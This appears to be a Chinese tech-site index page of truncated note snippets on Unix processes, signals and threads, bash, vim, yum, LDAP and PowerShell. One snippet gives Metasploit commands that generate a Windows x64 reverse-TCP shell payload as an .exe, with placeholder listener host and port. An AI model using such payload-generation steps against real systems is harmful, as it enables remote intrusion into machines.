笔记专题提供笔记的最新资讯内容,帮你更好的了解笔记。
1.进程组 /********************************************************* 包含头文件: #include <unistd.h> 函数原型: pid_t getpgrp(void); 函数说明: 同一进程组中的各进程接收来自同一终端的各种信号,每个进程组有一个唯一的进程组ID. 返回值: 调用进程的进程组ID *********
shell是什么 shell是一种脚本语言  aming_linux  blog.lishiming.net  可以使用逻辑判断、循环等语法  可以自定义函数  shell是系统命令的集合  shell脚本可以实现自动化运维能大大增加我们的运维效率 shell脚本结构和执行方法  开头需要加#!/bin/bash固有的格式 意思就是接下来的文件是由/bin/bash解析的  以#开头的行作为解释说
1.信号 /***************************************** 信号处理方式: (1):忽略此信号。(SIGKILL 和 SIGSTOP信号不能被忽略) (2):捕捉信号 (3):执行系统默认动作 *****************************************/ /****************************************
1.线程标识 /***************************************** 包含头文件: #include <pthread.h> 函数原型: int pthread_equal(pthread_t tid1,pthread_t tid2); 函数说明: 判断线程ID是否相等 返回值:若相等,返回非0数值,否则,返回0 ***********************
在“进程控制三部曲”中,我们学习到了 fork 是三部曲的第一部,用于创建一个新进程。但是关于 fork 的更深入的一些的东西我们还没有涉及到,例如,fork 创建的新进程与调用进程之间的关系、父子进程的数据共享问题等。fork 是否可以无限制的调用?如果不行的话,最大限制是多少?另外,我们还将学习一个 fork 的变体 vfork。 1 fork 创建的新进程与调用进程之间的关系 UNIX 操作
安装bundle来管理Plugin https://github.com/VundleVim/Vundle.vim#about 安装YouCompleteMe https://github.com/Valloric/YouCompleteMe/tree/cd4172746279fbe177e18e7731a92ede8054e598#general-usage 安装YouCompleteMe时,并
1.线程属性 /***************************************** 包含头文件: #include <pthread.h> 函数原型: int pthread_attr_init(pthread_attr_t *attr); int pthread_attr_destroy(pthread_attr_t * attr); 函数说明:pthread_attr_i
十二、bash变量                变量(一段有名称的内存空间)   变量名(这段内存空间的名称)  向变量中存储数据的过程,称为赋值操作:  变量的类型: 整型    字符型    变量: 强变量:使用之前必须事先予以声明;必须声明变量类型   弱变量:在使用之前无需生命,不需要指明变量类型    注意:bash变量不需要定义变量类型,属于弱变量  变量的赋值方法:  VARNAM
对于命令行管理工具而言,“管道”是一个重要概念。PowerShell 同样提供了管道功能,可以在一个序列行中将多个命令连接起来,以实现一些较为复杂的任务。   一、输出结果到CSV或XML文件 作为系统管理员,经常会查看一些系统状态,比如:系统目前的进程情况、服务运行情况等。虽然我们可以通过 GUI 的应用程序来查看,但是有时候通过命令行查看后输出到CSV或XML文件,再进行一些分析、比较,也是需
Ubuntu 安装openldap    安装参考http://www.unixmen.com/openldap-installation-configuration-ubuntu-12-1013-0413-10-debian-67-2/    1、# sudo apt-get install slapd ldap-utils         安装完查看端口以及  执行ldapsearch -x
vim介绍 vim是vi的升级版,相较于vi,会显示颜色。 如果系统没有vim工具,需要安装:# yum install -y vim-enhanced vim颜色显示和移动光标 输入# vim /etc/passwd 然后将/etc/passwd放到/tmp/下,输入 # cp /etc/passwd  /tmp/ # vim /tmp/passwd vim会根据文件的名字和内容显示不同的颜色
vim进入编辑模式 从一般模式进入编辑模式,只需按i、I、a、A、o、O、r和R中的某一个键即可,当进入编辑模式时,在屏幕的尾行显示INSERT字样(若支持中文,则显示插入)。按Esc键,从编辑模式回到一般模式。 vim命令模式 在一般模式下,输入:或者/即可进入命令模式。 :nohl不高亮显示 :x与:wq类似,如果在更改文件之后操作,两者效果一样;如果打开文件,没有任何操作,:wq会更改mti
Read Me 本文是以英文版<bash cookbook> 为基础整理的笔记,或速记,力求脱水 cookbook特点是实用,有很多可以复用的代码框架 假设读者已有一定的脚本基础知识,没有也没关系 我没找到中文版,所以决定diy,按自己的风格来写一遍 类似bash是啥等问题,不涉及。。 另推荐两本比较好的教材: <Linux Shell Scripting Cookbook> 有中文版。零基础的读
yum yum [options] COMMAND Loaded plugins: fastestmirror You need to give some command Usage: yum [options] COMMAND List of Commands: check          Check for problems in the rpmdb check-update   Check
转自:http://jianshi-dlw.iteye.com/blog/1557846 LDAP协议         目录是一组具有类似属性、以一定逻辑和层次组合的信息。常见的例子是通讯簿,由以字母顺序排列的名字、地址和电话号码组成。 目录服务是一种在分布式环境中发现目标的方法。目录具有两个主要组成部分:   第一部分是数据库,数据库是分布式的,且拥有一个描述数据的规划。 第二部分则是访问和处理
Read Me 本文是以英文版<bash cookbook> 为基础整理的笔记,力求脱水 基础部分传送门 本篇为中级内容,对应原著第七章开始,讲解各种工具的使用 12.02 更新 grep, awk 翻得不好的地方欢迎交流,也期待您的点赞支持,谢谢 ^^ 约定格式 # 注释:前导的$表示命令提示符 # 注释:无前导的第二+行表示输出 # 例如: $ 命令 参数1 参数2 参数3 # 行内注释 输
metasploit几种shellcode类型 1. 可直接用nc接收的shell use payload/windows/x64/shell/reverse_tcp #win64 使用tcp反弹的shellcode set lhost ip set lport port generate -t exe -f d:\1.exe #生成shellcode文件 2. 使用meterpreter接收的s
Read Me 本文是以英文版<bash cookbook> 为基础整理的笔记,力求脱水 【高级】部分,涉及脚本安全、bash定制、参数设定等高阶内容 本系列其他两篇,与之互为参考 【基础】内容涵盖bash语法等知识点。传送门 【中级】内容包括工具、函数、中断及时间处理等进阶主题。传送门 所有代码在本机测试通过 Debian GNU/Linux 9.2 (stretch) GNU bash, ve
Shell文本变量及符号 特殊变量 $0:脚本自身的名字 $?:返回上一条命令是否执行成功,0为执行成功,非0为执行失败 $#:位置参数总参数 $*:所有的位置参数被看做成一个字符串 $@:每个位置参数被看做成独立的字符串 $$:当前进程的PID $!:上一条运行后台进程的PID   整数比较符 -eq:等于;-ne:不等于;-ge:大于等于;-gt:大于;-le:小于等于;-lt:小于 字符串比
Bash学习笔记(1) 简介: Bash(GNU Bourne-Again Shell)是一个为GNU计划编写的Unix shell,它是许多Linux平台默认使用的shell。 shell是一个命令解释器,是介于操作系统内核与用户之间的一个绝缘层。准确地说,它也是能力很强的计算机语言,被称为解释性语言或脚本语言。它可以通过将系统调用、公共程序、工具和编译过的二进制程序”粘合“在一起来建立应用,这